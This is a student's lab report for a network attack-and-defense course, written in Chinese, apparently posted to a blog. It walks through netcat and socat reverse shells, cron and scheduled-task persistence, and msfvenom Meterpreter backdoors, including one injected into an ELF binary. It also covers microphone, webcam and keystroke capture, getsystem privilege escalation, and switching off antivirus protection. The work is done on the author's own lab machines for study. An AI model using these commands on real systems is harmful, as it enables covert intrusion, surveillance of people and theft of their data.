20222326 2024-2025-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

实验具体内容

  • 使用netcat获取主机操作Shell,cron启动某项任务。

  • 使用socat获取主机操作Shell, 任务计划启动。

  • 使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

  • 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?
  • 例举你知道的后门如何启动起来(win及linux)的方式?

(1)win中:

(2)linux中:

  • Meterpreter有哪些给你映像深刻的功能?
  • 如何发现自己有系统有没有被安装后门?

相关概念

  • 基础概念

    • 后门(Backdoor):一种绕过正常认证机制的方法,允许攻击者未经授权访问系统。后门可以是软件、硬件或网络层面的。

    • 免杀(Anti-Antivirus):指通过各种技术手段使恶意软件逃避安全软件(如防病毒软件、防火墙等)的检测。

    • cron:cron 是 Unix 和类 Unix 操作系统(如 Linux)中的一个定时任务调度器。它允许用户设置周期性的任务,这些任务可以在指定的时间自动执行。

  • 工具与框架

    • Meterpreter:是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道(shell);一个开源的安全漏洞检测框架,提供了丰富的漏洞利用模块和Payload生成工具。

    • Netcat“瑞士军刀”/Socat:网络工具,可以用于建立网络连接和数据传输。

2.实验过程

一、使用netcat获取主机操作Shell,cron启动某项任务
(1)在windows系统中,win+R进入cmd,在命令行中输入ipconfig,查看主机的IP地址(192.168.1.100)。

(2)win+R进入cmd,在命令行中输入ncat.exe-lp 2326,使用ncat监听2326端口:


(3)在Kali中打开命令行,输入nc 192.168.1.100 2326 -e /bin/sh反弹连接主机的2326端口。

(4)在windows命令行中可以看到,成功获得了一个kali的shell。

(5)在kali中输入crontab -e命令编辑定时任务,选编辑器时输入3,选择vim编辑器。在该文件中加入31 ****/bin/netcat 192.168.212.185 8888 -e /bin/sh这表示在每个小时的第31分钟,连接192.168.212.185的主机。【由于是在不同的网络环境下做的实验,windows主机的地址有所变化】。

(6)输入 crontab -l查看时程表

(7)在/var/spool/cron/crontabs目录中找到root文件,如果在该文件夹中看不到文件,可以右键使用 open as root来查看,找到root文件。

(8)在windows命令行中输入echo "* * * * * echo "20222326WangRong" > /home/r20222326/20222326.txt" > /var/spool/cron/crontabs/root这个指令的意思是,在root文件中写入* * * * * echo "20222326WangRong" > /home/r20222326/20222326.txt"这个内容。再输入crontab -l查看时程表,是否有这条内容。

说名写入成功。这局指令的内容是每分钟执行一次,用20222326WangRong内容去覆盖r20222326.txt文件本来的内容。
(9)在该指令执行之前的r20222326.txt文件内容。

(10)在该指令执行之后的r20222326.txt文件内容。

r20222326.txt文件内容已经被修改,可见cron执行是成功的。

二、使用Socat获取主机操作Shell, 任务计划启动

(1)在windows主机中找到socat的目录,用cmd打开。在命令行中输入socat.exe tcp-listen:2326 exec:cmd.exe,pty,stderr

(2)在kali命令行中输入socat - tcp:192.168.1.105:2326,可以得到kali中已经获得了一个windows主机的shell。【其中192.168.1.105是windows主机的IP地址,由于网络环境的变化IP地址有所变化】

(3)在kali命令行中输入schtasks /create /sc minute /mo 1 /tn "20222326rong" /tr D:\app product\vscode\20222326exp2.exe创建一个名字为20222326rong的计划任务,每分钟执行一次该任务,执行该任务的时候会运行位于D:\app product\vscode\20222326exp2.exe的可执行文件20222326exp2.exe。【该文件是实现写好的一个C语言程序】

(4)在windows中打开计算机管理,查看任务计划程序中关于20222326exp2.exe运行的记录。

Socat成功获取主机操作Shell, 任务计划启动成功。

三、使用MSF Meterpreter生成可执行文件(后门),利用Ncat或Socat传送到主机并运行获取主机Shell

(1)在kali命令行中输入msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.85.132 LPORT=2326 -f exe>20222326_backdoor.exe生成后门文件20222326_backdoor.exe,其中192.168.85.132为kali的IP地址,LPORT=2326是端口号。

(2)在windows命令行中输入ncat.exe-l2326>20222326 backdoor.exe进入接收模式。

(3)在kali命令行中输入nc 192.168.1.1022326<20222326 backdoor.exe传输后门文件。

(4)在windows默认的路径文件夹中查看是否存在后门文件20222326_backdoor.exe

【注意,文件的大小如果是0KB,就说明文件并没有传输完成】

四、使用MSF Meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

(1)在kali中新建终端,在新的命令行中输入msfconsole进入msf控制台。

(2)使用 Metasploit 框架来设置一个监听器(handler)。

  • 输入use exploit/multi/handler使用监听模块,设置payload。
  • 输入set payload windows/meterpreter/reverse_tcp使用和生成后门程序时相同的payload。
  • 输入set LHOST 192.168.85.132指定linuxIP。
  • 输入set LPORT 2326指定端口号。

(3)输入show options查看配置,最后输入exploit运行模块,并在主机运行后门文件20222326_backdoor.exe。

(4)在msf控制台逐一实现实验目标。

  • 在msf控制台中输入record_mic,获取一段音频。

  • 在msf控制台中输入webcam_snap获取摄像头,进行拍照。

  • 在msf控制台中输入keyscan_start指令,获取敲击键盘的记录,用keyscan_dump读取记录。

  • 在msf控制台中输入getuid查看用户。
  • 在msf控制台中输入getsystem提权。

(5)在kali中/home/r20222326/目录中查看以上命令获取的内容。

五、使用MSF生成Shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

(1)在kali命令行中输入 msfvenom -p linux/x86/meterpreter/reverse tcp LHOST=192.168.85.132 LPORT=2326 -x /home/r20222326/pun2 -f elf > 20222326pwn

  • 生成一个带有 Meterpreter 反向 TCP Payload 的 ELF 可执行文件。
  • 该 Payload 会在目标机器上启动一个反向连接,连接回 IP 地址192.168.85.132 和端口 2326。
  • 生成的 Payload 被注入到现有的 ELF 文件 /home/r20222326/pwn2 中,生成的新文件名为 20222326pwn。

(2)在kali命令行中输入chmod a+x 20222326pwn

(3)使用 Metasploit 框架来设置一个监听器(handler)。

  • 输入use exploit/multi/handler使用监听模块,设置payload。
  • 输入set payload windows/meterpreter/reverse_tcp使用和生成后门程序时相同的payload。
  • 输入set LHOST 192.168.85.132指定linuxIP。
  • 输入set LPORT 2326指定端口号。
  • 输入exploit运行监听模块。


(4)打开另一个shell,输入./20222313_1pwn运行生成的20222313_1pwn文件(需要使用root权限

(5)回到第一个shell,输入ls确认连接,成功实现远程控制shell

3.问题及解决方案

  • 问题1:在实现‘一’的过程中,通过设计cron从而实现用特定的内容去覆盖r20222326.txt文件的内容,我发现cron不能执行【检查过 r20222326.txt文件的权限是否是root可以修改的,通过chomd 777实现的最高权限,也检查了文件路径问题,也检查了kali时间与本机时间的问题】
  • 问题1解决方案:通过重新打开窗口输入crond,启动其服务,cron就可以执行了。
  • 问题2:在实现‘三’,传输后门文件20222326_backdoor.exe的时候,由于没有关闭电脑的实时关闭,而导致windows主机上不能运行后门文件。
  • 问题2解决方案:在windows安全中心>病毒和威胁防护设置中关闭实时保护

  • 问题3:kali的网络问题,在做实验的过程中,出现了kali没有网的情况,导致kali主机不能和windows进行通讯。
  • 问题3解决方案:将虚拟机的网络适配器修改为NAT模式即可解决。

4.学习感悟、思考等

在本次实验的过程中,我遇到的问题还是比较多的,有好几个问题甚至是困扰了我好久都不得已解决,但是后来通过一点小小的改变就又可以实现。确实是一个细心的问题。但是总的来说,本次实验中,我通过具体的实验步骤,掌握了Netcat、Socat、Metasploit等工具的使用方法,并学会了如何利用这些工具获取目标主机的操作Shell、设置定时任务等。同时,也意识到了即使是最微小的安全疏漏也可能导致严重的后果。因此,应该更加注重代码质量和系统配置的安全性,定期进行安全审计,及时修补已知漏洞。

参考资料

posted on 2024-10-21 23:58  20222326王蓉  阅读(3)  评论(0编辑  收藏  举报

导航